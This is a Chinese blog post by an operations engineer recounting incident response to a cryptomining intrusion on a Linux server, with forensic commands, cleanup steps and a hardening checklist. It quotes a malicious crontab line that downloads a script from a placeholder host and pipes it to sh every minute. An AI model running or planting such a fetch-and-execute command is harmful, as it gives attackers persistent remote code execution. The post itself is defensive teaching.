服务器被黑了！一次应急响应全记录：从入侵痕迹到彻底清理
文章目录
- 🚨 一、发现异常：一切不寻常都是线索
- 🔍 二、初步排查：锁定“可疑进程”
- 1. 查看异常进程详情
- 2. 检查网络连接
- 3. 查找定时任务
- 🕵️♂️ 三、深入分析：溯源入侵路径
- 1. 检查登录日志
- 2. 检查最近修改的文件
- 🧹 四、全面清理：让“幽灵”无处遁形
- 1. 终止恶意进程
- 2. 删除恶意文件
- 3. 清理定时任务
- 4. 检查并清理其他后门
- 🔐 五、安全加固：亡羊补牢，为时未晚
- 1. 修改 root 密码 + 禁用 root 登录
- 2. 安装 fail2ban 防暴力破解
- 3. 更新系统与软件
- 4. 配置防火墙（iptables/firewalld）
- 📝 六、事后复盘：我们学到了什么？
- 🛡️ 七、给运维兄弟的“防黑 checklist”
- 💬 刘一说的结语
大家好，我是刘一说，一名经历过“删库跑路”、也扛过 DDoS 攻击的运维老兵。
今天要讲的，是一次让我后背发凉的真实事件：
凌晨2点，手机疯狂震动——CPU飙到100%，SSH连不上，网站打不开。
我心里一沉：完了，服务器被黑了。
这不是演习，这是真正的“生产事故”。
接下来的3小时，我像侦探一样，从蛛丝马迹中抽丝剥茧，最终揪出了那个藏在系统深处的“幽灵”。
现在，我把这次 完整的应急响应过程 记录下来，希望能成为你未来“救火”时的“救命指南”。
🚨 一、发现异常：一切不寻常都是线索
那天晚上，监控系统突然告警：
- CPU 使用率飙升至 100%
- 网络出流量异常增高
- 磁盘I/O居高不下
我尝试 SSH 登录，连接超时。
重启？不行，客户业务正在跑。
硬着头皮用云平台的 VNC 控制台 连上去，终于进去了。
屏幕一亮，我看到了这一幕：
top - 02:15:23 up 12 days, 5:23, 1 user, load average: 18.21, 10.45, 7.33
Tasks: 234 total, 3 running, 231 sleeping, 0 stopped, 0 zombie
%Cpu(s): 98.7 us, 0.5 sy, 0.0 ni, 0.8 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 8176840 total, 120460 free, 5234560 used, 2821820 buff/cache
KiB Swap: 0 total, 0 free, 0 used. 2942280 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
12345 root 20 0 98765 5432 1234 R 98.0 0.1 2:15.32 xmr-stak-cpu
xmr-stak-cpu？？？
我脑子里“嗡”了一下——这是个门罗币（Monero）挖矿程序！
黑客已经在我服务器上“安家落户”，开始白嫖我的算力了。
🔍 二、初步排查：锁定“可疑进程”
1. 查看异常进程详情
ps aux | grep 12345
# 输出：
root 12345 98.0 0.1 98765 5432 ? Sl 01:30 2:15 /tmp/.systemd/xmr-stak-cpu
- 进程名伪装成系统服务（
.systemd） - 路径在
/tmp，典型的临时目录藏身地
2. 检查网络连接
netstat -antp | grep 12345
# 输出：
tcp 0 0 192.168.1.100:38742 45.76.123.45:443 ESTABLISHED 12345/xmr-stak-cpu
- 正在连接一个境外 IP
45.76.123.45:443（伪装成 HTTPS） - 目标很可能是矿池服务器
3. 查找定时任务
黑客通常会加 cron 定时任务，防止进程被杀后无法复活。
crontab -l # 当前用户定时任务
crontab -u root -l # root 用户
ls /etc/cron.d/ # 系统级定时任务
cat /var/spool/cron/root # 查看 root 的 cron 文件
果然，在 /var/spool/cron/root 中发现了：
* * * * * (curl -fsSL https://malicious.site/x.sh || wget -q -O- https://malicious.site/x.sh) | sh
靠！还会自动下载复活！
🕵️♂️ 三、深入分析：溯源入侵路径
现在问题是：黑客是怎么进来的？
1. 检查登录日志
# 查看近期登录记录
last | head -20
# 查看认证日志（关键！）
grep "Failed password" /var/log/secure | tail -50
grep "Accepted" /var/log/secure | grep "ssh"
日志显示：
Mar 15 03:21:18 server sshd[2345]: Failed password for root from 203.0.113.88 port 54321 ssh2
Mar 15 03:21:22 server sshd[2345]: Accepted password for root from 203.0.113.88 port 54321 ssh2
暴力破解 + root 密码登录！
我赶紧检查了下密码策略——唉，测试环境用了弱密码，忘了改。
2. 检查最近修改的文件
# 查找最近24小时修改的文件
find / -type f -mtime -1 -exec ls -la {} ; 2>/dev/null | grep ".sh|.py|.so"
# 发现可疑文件
/tmp/.systemd/xmr-stak-cpu
/tmp/.systemd/libsecurity.so
/etc/.ld.so.preload
/etc/.ld.so.preload 是个危险文件，它能劫持系统调用，隐藏进程和端口。
🧹 四、全面清理：让“幽灵”无处遁形
1. 终止恶意进程
kill -9 12345
# 再确认是否杀死
ps aux | grep xmr-stak
2. 删除恶意文件
rm -rf /tmp/.systemd/
rm -f /etc/.ld.so.preload
3. 清理定时任务
crontab -r # 清空当前用户的 cron
# 或编辑后删除恶意行
crontab -e
4. 检查并清理其他后门
- 检查隐藏用户：
awk -F: '($3 == 0) {print}' /etc/passwd # 查找 UID=0 的用户 - 检查开机启动项：
systemctl list-unit-files --type=service | grep enabled ls /etc/init.d/ | grep -v "^README" - 检查 SUID 文件：
find / -perm -4000 -type f -exec ls -la {} ; 2>/dev/null
🔐 五、安全加固：亡羊补牢，为时未晚
1. 修改 root 密码 + 禁用 root 登录
passwd root # 设置强密码
# 编辑 SSH 配置
vim /etc/ssh/sshd_config
修改：
PermitRootLogin no
PasswordAuthentication no # 改用密钥登录
重启 SSH：
systemctl restart sshd
2. 安装 fail2ban 防暴力破解
yum install fail2ban
systemctl enable fail2ban
systemctl start fail2ban
3. 更新系统与软件
yum update -y
4. 配置防火墙（iptables/firewalld）
只开放必要端口（如 80、443），关闭 22（SSH）外网访问，或限制 IP。
📝 六、事后复盘：我们学到了什么？
| 问题 | 改进措施 |
|---|---|
| 测试环境使用弱密码 | 所有环境强制使用强密码 + 密钥登录 |
| 未安装 fail2ban | 全部服务器部署 fail2ban |
| 未定期巡检 | 建立每日安全巡检清单 |
| 无入侵检测系统 | 引入 Wazuh 或 OSSEC 做实时监控 |
🛡️ 七、给运维兄弟的“防黑 checklist”
✅ 基础防护：
- 禁用 root 远程登录
- 使用 SSH 密钥认证
- 修改默认 SSH 端口（可选）
- 安装 fail2ban
✅ 主动防御：
- 定期更新系统
- 关闭不必要的端口和服务
- 使用防火墙限制访问源
✅ 监控与响应：
- 部署集中日志（ELK/Splunk）
- 设置 CPU、内存、网络异常告警
- 定期检查
/tmp、/var/tmp目录 - 使用 AIDE 或 Tripwire 做文件完整性监控
💬 刘一说的结语
这次被黑，虽然损失不大，但给我敲响了警钟：
安全不是“一次性装修”，而是“每天都要锁门”的习惯。
作为运维，我们不仅是系统的“建造者”，更是它的“守护者”。
别让一时的疏忽，
变成深夜的惊魂。
希望这篇应急记录，
能在你遇到类似情况时，
帮你稳住心态，快速应对。
—— 刘一说，于又一次“救火”成功后，默默喝下一杯浓茶。🍵💻
